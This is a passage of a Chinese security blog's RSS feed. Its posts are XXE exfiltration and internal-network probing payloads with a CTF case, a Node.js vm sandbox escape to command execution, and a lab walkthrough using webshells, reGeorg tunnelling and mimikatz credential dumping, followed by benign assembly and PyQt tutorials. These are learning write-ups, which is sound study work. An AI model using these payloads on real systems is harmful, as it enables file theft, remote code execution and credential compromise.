$creds = simplexml_import_dom($dom);
var_dump($creds);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用XML发送数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE root[
&amp;lt;!ENTITY a SYSTEM &quot;http://localhost:8887/aaaaa&quot;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;a;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我在尝试参数实体的时候似乎不能外带数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE root[
&amp;lt;!ENTITY % a &quot;http://localhost:8887/aaa&quot;&amp;gt;
%a;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiarflv5okukw4dy22eev3qlaad7kzwx25ueejx3kl7narps3walkm.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;嵌套也是不行的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
	&amp;lt;!ENTITY % file SYSTEM &quot;file:///flag.txt&quot;&amp;gt;  
	&amp;lt;!ENTITY % start &quot;&amp;lt;!ENTITY &amp;amp;x25; send SYSTEM &apos;http://localhost:8887/?%file;&apos;&amp;gt;&quot;&amp;gt;
	%start;
	%send;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最常用的外带数据的方法：&lt;/p&gt;
&lt;p&gt;在自己的vps上准备两个文件，我这里就就都在本机做的实验&lt;/p&gt;
&lt;p&gt;本地的8001端口开一个web服务，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihrsrf3xj4fkewy5slilakd63vxusorh2dr2tmwyk6cs7nmaozfyq.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;local.xml&lt;/code&gt; 文件内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % start &quot;&amp;lt;!ENTITY &amp;amp;x25; send SYSTEM &apos;http://localhost:8887/?%file;&apos;&amp;gt;&quot;&amp;gt;
%start;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件表示读取到数据之后发送给另一个8887端口，然后我们向受害者服务器发送数据，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
	&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost:8001/local.xml&quot;&amp;gt;  
	&amp;lt;!ENTITY % file SYSTEM &quot;php://filter/read=convert.base64-encode/resource=./flag.txt&quot;&amp;gt;
	%remote;
	%send;
]&amp;gt;
&amp;lt;message&amp;gt;1234&amp;lt;/message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以在8887端口接收到数据了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihkp5pbygyf7nk6yss2v25srqsvztx5343zfkiuxjce2o2it3p7yu.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;换一种 &lt;code&gt;payload&lt;/code&gt; 也行&lt;/p&gt;
&lt;p&gt;DTD文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///flag&quot;&amp;gt;
&amp;lt;!ENTITY % int &quot;&amp;lt;!ENTITY &amp;amp;37; send SYSTEM &apos;http://localhost:8887/p=%file;&apos;&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送的 paylod&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE convert [ 
&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost:8001/local.xml&quot;&amp;gt;
%remote;%int;%send;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;报错XXE&lt;/p&gt;
&lt;p&gt;这个方法p牛其实早就说过了,通过三层嵌套的XML就可以达到报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE message [
	&amp;lt;!ELEMENT message ANY&amp;gt;
	&amp;lt;!ENTITY % para1 SYSTEM &quot;file:///flag&quot;&amp;gt;
	&amp;lt;!ENTITY % para &apos;
		&amp;lt;!ENTITY &amp;amp;x25; para2 &quot;&amp;lt;!ENTITY &amp;amp;x26;x25; error SYSTEM &amp;amp;x27;file:///&amp;amp;x25;para1;&amp;amp;x27;&amp;gt;&quot;&amp;gt;
		&amp;amp;x25;para2;
	&apos;&amp;gt;
	%para;
]&amp;gt;
&amp;lt;message&amp;gt;10&amp;lt;/message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidydytastdjupui3uto5mhvuhibr5kykafhiajnf5wxoboot7hn2a.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;XXE探测内网&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

Origtional XML that the server accepts

&amp;lt;xml&amp;gt;

    &amp;lt;stuff&amp;gt;user&amp;lt;/stuff&amp;gt;

&amp;lt;/xml&amp;gt;



def build_xml(string):
    xml = &quot;&quot;&quot;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;&quot; + &apos;&quot;&apos; + string + &apos;&quot;&apos; + &quot;&quot;&quot;&amp;gt;]&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;xml&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;    &amp;lt;stuff&amp;gt;&amp;amp;xxe;&amp;lt;/stuff&amp;gt;&quot;&quot;&quot;
    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&amp;lt;/xml&amp;gt;&quot;&quot;&quot;
    send_xml(xml)

def send_xml(xml):
    headers = {&apos;Content-Type&apos;: &apos;application/xml&apos;}
    x = requests.post(&apos;http://127.0.0.1/xml.php&apos;, data=xml, headers=headers, timeout=5).text
    coded_string = x.split(&apos; &apos;)[-2]  a little split to get only the base64 encoded value
    print coded_string
   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:
        i = str(i)
        ip = &apos;192.168.1.&apos; + i
        string = &apos;php://filter/convert.base64-encode/resource=http://&apos; + ip + &apos;/&apos;
        print string
        build_xml(string)
    except:
      print &quot;error&quot;
continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实例分析&lt;/p&gt;
&lt;p&gt;网鼎杯2020 fileJava&lt;/p&gt;
&lt;p&gt;用到的漏洞就是 &lt;code&gt;CVE20143529&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;复现代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;






public class CVE20143529 {
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
        Workbook wb1 = WorkbookFactory.create(new FileInputStream(&quot;test1.xlsx&quot;));
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getLastRowNum());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pom.xml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;
         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
         xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&amp;gt;
    &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;

    &amp;lt;groupId&amp;gt;pxyapache&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;pxypxy&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
    &amp;lt;dependencies&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;3.10-FINAL&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
    &amp;lt;/dependencies&amp;gt;

&amp;lt;/project&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用过程：&lt;/p&gt;
&lt;p&gt;准备一个excel文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE convert [ 
&amp;lt;!ENTITY % remote SYSTEM &quot;http://localhost:8001/local.xml&quot;&amp;gt;
%remote;%int;%send;
]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreige33gaqt6gt3xpt4qvbkrsrr7pfts7jnckiaxtbwmotgr3kc5dda.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;准备DTD文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &quot;file:///flag&quot;&amp;gt;
&amp;lt;!ENTITY % int &quot;&amp;lt;!ENTITY &amp;amp;37; send SYSTEM &apos;http://localhost:8887/p=%file;&apos;&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会读取文件，然后将其发送到8887端口上&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiagmltdrids3l6nczwwokd3inj5tjnp7fhqjdmjizdy6dp4kums5y.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;监听得到的flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreie6sk6ylq4lvc7bnyvhikae2y2tgl5n6llh5wuc5w6ujv6hvwgm4i.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考&lt;/p&gt;
&lt;p&gt;YouTube这个视频其实讲的不错：&lt;a href=&quot;https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S&quot;&gt;https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>js沙箱逃逸</title><link>https://rayepeng.net/posts/js%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</link><guid isPermaLink="true">https://rayepeng.net/posts/js%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</guid><pubDate>Sun, 10 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;vm沙箱逃逸&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;
const vm = require(&quot;vm&quot;);
const xyz = vm.runInNewContext(`let a = &quot;welcome!&quot;;a;`);
console.log(xyz);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打印出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;welcome
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果换成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;
const vm = require(&quot;vm&quot;);
const xyz = vm.runInNewContext(`process`);
console.log(xyz);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1589114675198.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为 &lt;code&gt;process&lt;/code&gt; 是没有定义的&lt;/p&gt;
&lt;p&gt;但是我们可以通过这样来获取到系统的环境变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const vm = require(&quot;vm&quot;);
const env = vm.runInNewContext(`this.constructor.constructor(&apos;return this.process.env&apos;)()`);
console.log(env);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 &lt;code&gt;this&lt;/code&gt; 指向了一个外部的对象，&lt;code&gt;this.conatructor&lt;/code&gt; 指向的就是 Object 对象的 &lt;code&gt;Constructor&lt;/code&gt; ， 而 &lt;code&gt;object constructor&lt;/code&gt; 返回的就是 &lt;code&gt;Function constructor&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;完成 RCE&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;
const vm = require(&quot;vm&quot;);
const xyz = vm.runInNewContext(`const process = this.constructor.constructor(&apos;return this.process&apos;)();
process.mainModule.require(&apos;child_process&apos;).execSync(&apos;dir&apos;).toString()`);
console.log(xyz);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1589114918266.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>企业环境渗透一</title><link>https://rayepeng.net/posts/%E4%BC%81%E4%B8%9A%E7%8E%AF%E5%A2%83%E6%B8%97%E9%80%8F%E4%B8%80/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%BC%81%E4%B8%9A%E7%8E%AF%E5%A2%83%E6%B8%97%E9%80%8F%E4%B8%80/</guid><pubDate>Wed, 29 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;任务一 后台文件上传&lt;/h2&gt;
&lt;p&gt;本实验任务基于真实企业网络环境，在三台服务器搭建的典型企业局域网环境中，主要完成以下内容：&lt;/p&gt;
&lt;p&gt;1.1 使用目录扫描工具对目标网站的后台地址进行扫描(如wwwscan)&lt;/p&gt;
&lt;p&gt;1.2 使用Burpsuite工具爆破后台管理员密码&lt;/p&gt;
&lt;p&gt;1.3 使用爆破出的管理员密码登录后台，并上传一句话木马&lt;/p&gt;
&lt;p&gt;1.4 使用中国菜刀连接一句话木马&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588072738413.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到后台登陆地址为 &lt;code&gt;manager/login.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;同时发现扫描出了 &lt;code&gt;/myadmin&lt;/code&gt; ，猜测是 &lt;code&gt;phpmyadmin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588073088324.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;弱口令 root ， root试一下，成功登陆&lt;/p&gt;
&lt;p&gt;在数据库中发现了用户名和密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588073175463.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;md5解密：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588073186989.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功登陆后台，得到 falg1&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588073231030.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务二 sql注入&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;利用之前扫描目录得到的结果访问到测试的sql，利用SQL注入漏洞获得网站数据库信息&lt;/li&gt;
&lt;li&gt;构造SQL注入语句读取webserver配置文件查看网站根目录，写入php一句话木马，获得webshell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;访问存在SQL注入漏洞的页面，表的字段为10&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588073668068.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588073693517.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试联合注入失败&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074070981.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以直接登陆后台，并修改配置：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074131115.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就可以从后台上传php文件了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074182455.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功上传&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074223735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用菜刀进行连接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074257325.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074320768.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务三 phpmyadmin 写shell&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用之前扫描目录的结果访问phpmyadmin页面，利用弱口令登录到 &lt;code&gt;phpmyadmin&lt;/code&gt; 服务中&lt;/li&gt;
&lt;li&gt;构造SQL语句读取webserver配置文件查看网站根目录，写入php一句话木马，获得webshell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;弱口令登录 phpmyadmin，访问到flag表得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588074309330.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务四 扫描PC端并登陆&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;利用已经获取到权限的web机器，上传扫描脚本对内网中的其他主机进行扫描&lt;/li&gt;
&lt;li&gt;利用web代理工具代理访问内网的主机，使用之前数据库中获得的账号密码进行登录&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;上传 &lt;code&gt;RAScan.py&lt;/code&gt;，扫描&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121789196.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫描结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121802724.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到 192.168.2.11 和 192.168.2.10 都开放了3389端口&lt;/p&gt;
&lt;p&gt;上传 &lt;code&gt;tunnel.nosocket.php&lt;/code&gt;，访问：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121885782.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后使用 &lt;code&gt;reGeorgSocksProxy.py&lt;/code&gt; 开启代理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121921831.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;Proxifier&lt;/code&gt;，新建连接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121958945.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后设置规则：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121982402.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;远程登陆 192.168.2.11&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588122014576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回过头来看数据库，密码是 &lt;code&gt;topsec.123&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588121697982.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功连接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588122024967.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag在C盘根目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588122036042.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务五 抓取域控密码并登陆域控&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;利用已经登陆到远程桌面的机器，上传mimikatz工具抓取机器内存中的密码&lt;/li&gt;
&lt;li&gt;利用抓取到的密码登陆到另一台机器2.10中&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;上传 &lt;code&gt;mimikatz&lt;/code&gt; 到 192.168.2.11 的桌面&lt;/p&gt;
&lt;p&gt;以管理员身份运行，输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;privilege::debug
sekurlsa::logonpasswords
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588122108804.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;远程登陆 192.168.2.10&lt;/p&gt;
&lt;p&gt;flag在C盘根目录&lt;/p&gt;
</content:encoded></item><item><title>汇编从入门到入土八</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E5%85%AB/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E5%85%AB/</guid><pubDate>Wed, 29 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;中断处理的流程(牢记)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关于第三步&lt;/p&gt;
&lt;p&gt;为什么要设置第8位 TF？&lt;/p&gt;
&lt;p&gt;这就涉及到debug程序的原理：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;debug的原理，通过设置 TF 为1，引发单步中断去执行debug准备好的中断代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588129690345.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但是这样会有问题，在处理中断的时候是不能去触发单步中断的，所以CPU要提前设置TF为0&lt;/p&gt;
&lt;p&gt;中断过程具体的操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588129813844.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lab12&lt;/h2&gt;
&lt;p&gt;代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code
code segment
start:
    mov ax,cs
    mov ds,ax
    mov si,offset do0
    
    mov ax,0
    mov es,ax
    mov di,200H
    
    mov cx,offset do0end-offset do0
    
    rep movsb
    
    mov ax,0
    mov es,ax
    mov word ptr es:[0],200H
    mov word ptr es:[2],0

    mov ax, 1000h
    mov bh, 1
    div bh
    mov ax,4C00H
    int 21H
		
do0:
    jmp short do0start
    db &quot;divide error!&quot;
do0start:
    mov ax,cs
    mov ds,ax
    mov si,202H
    mov ax,0B800H
    mov es,ax
    mov di,12*160+33*2;这里要注意一下，不能因为字符串长度为13，为了居中输出就设置成12*160+67，会出现意想不到的情况
    mov cx,13
    s:
    mov al,[si]
    mov es:[di],al
    inc si
    add di,2
    loop s
    mov ax,4C00H
    int 21H
do0end:nop
code ends
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;code&gt;offset&lt;/code&gt; 获得偏移地址&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;rep movsb&lt;/code&gt; 来拷贝 do0 程序&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里特别注意，do0 要使用的字符串必须存储在 do0 子程序中，并且需要手动计算一下字符串的位置&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当然最后还需要来触发这个中断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax, 1000h
mov bh, 1
div bh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果直接存放原来data中的位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

data segment
db &quot;overflow!&quot;
data ends

code segment
start:
    mov ax,cs
    mov ds,ax
    mov si,offset do0
    
    mov ax,0
    mov es,ax
    mov di,200H
    
    mov cx,offset do0end-offset do0
    
    rep movsb
    
    mov ax,0
    mov es,ax
    mov word ptr es:[0],200H
    mov word ptr es:[2],0

    mov ax, 1000h
    mov bh, 1
    div bh
    mov ax,4C00H
    int 21H
		
do0:
    mov ax,data
    mov ds,ax
    mov si,0
    mov ax,0B800H
    mov es,ax
    mov di,12*160+33*2
    mov cx,13
    s:
    mov al,[si]
    mov es:[di],al
    inc si
    add di,2
    loop s
    mov ax,4C00H
    int 21H
do0end:nop
code ends
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也是可以执行的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1588131368497.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>pyqt入门</title><link>https://rayepeng.net/posts/pyqt%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/pyqt%E5%85%A5%E9%97%A8/</guid><pubDate>Fri, 24 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;编写一个简单地GUI应用如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587693985383.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拖动进度条，下面两个框框会显示不同的数据&lt;/p&gt;
&lt;p&gt;输入姓名，点击设置姓名，下面的框框回回显数据&lt;/p&gt;
&lt;p&gt;点击关闭按钮关闭窗口&lt;/p&gt;
&lt;h2&gt;GUI设计&lt;/h2&gt;
&lt;p&gt;妥妥拽拽即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587694105991.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;两个 &lt;code&gt;groupbox&lt;/code&gt; 布局可以通过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587694167654.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进行设置&lt;/p&gt;
&lt;h2&gt;信号和槽&lt;/h2&gt;
&lt;p&gt;关闭按钮的信号直接通过拖动即可关联&lt;/p&gt;
&lt;h3&gt;自定义信号&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;

from PyQt5.QtCore import QObject,pyqtSlot,pyqtSignal

class human(QObject):
    nameChanged = pyqtSignal(str)
    ageChanged = pyqtSignal([int], [str])
    
    def __init__(self, name=&quot;Mike&quot;, age=10,parent=None):
        super().__init__(parent)
        
    def setAge(self, age):
        self._age = age
        self.ageChanged.emit(self._age)
        if age&amp;lt;=18:
            ageInfo=&quot;你是 少年&quot;
        elif (18&amp;lt; age &amp;lt;=35):
            ageInfo=&quot;你是 年轻人&quot;
        elif (35&amp;lt; age &amp;lt;=55):
            ageInfo=&quot;你是 中年人&quot;
        elif (55&amp;lt; age &amp;lt;=80):
            ageInfo=&quot;您是 老人&quot;
        else:
            ageInfo=&quot;您是 寿星啊&quot;
        self.ageChanged[str].emit(ageInfo)
        
    def setName(self, name):
        self._name = name
        self.nameChanged.emit(self._name)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自定义两个信号 &lt;code&gt;nameChanged&lt;/code&gt; 和 &lt;code&gt;ageChanged&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;自定义槽函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class MyWidget(QWidget):
    def __init__(self,parent=None):
        super().__init__(parent=parent)
        
        self._ui = Ui_Widget()
        self._ui.setupUi(self)
        self.body = human(&quot;Mike&quot;, 20)
        
        self.body.nameChanged.connect(self.do_nameChanged)
        self.body.ageChanged.connect(self.do_ageChanged_int)
        self.body.ageChanged[str].connect(self.do_ageChanged_str)
    def on_horizontalSlider_valueChanged(self,value):
        self.body.setAge(value)
        pass
    
    def on_pushButton_clicked(self):
        &apos;&apos;&apos;
        当按钮点击时候自动触发该槽函数
        从输入框中获取到输入的姓名，接着调用body的setName方法，setName方法会放出一个信号，由于之前设置的连接，直接触发do_nameChanged槽函数
        &apos;&apos;&apos;    
        hisName = self._ui.lineEdit_5.text()
        self.body.setName(hisName)
        pass
    # 自定义的槽函数
    def do_nameChanged(self,name):
        self._ui.editNameHello.setText(&quot;Hello&quot;+name)
        pass
    
    def do_ageChanged_int(self,age):
        self._ui.editAgeStr.setText(str(age))
        pass
    
    @pyqtSlot(str)
    def do_ageChanged_str(self,ageInfo):
        self._ui.editAgeInt.setText(ageInfo)
        pass
&lt;/code&gt;&lt;/pre&gt;
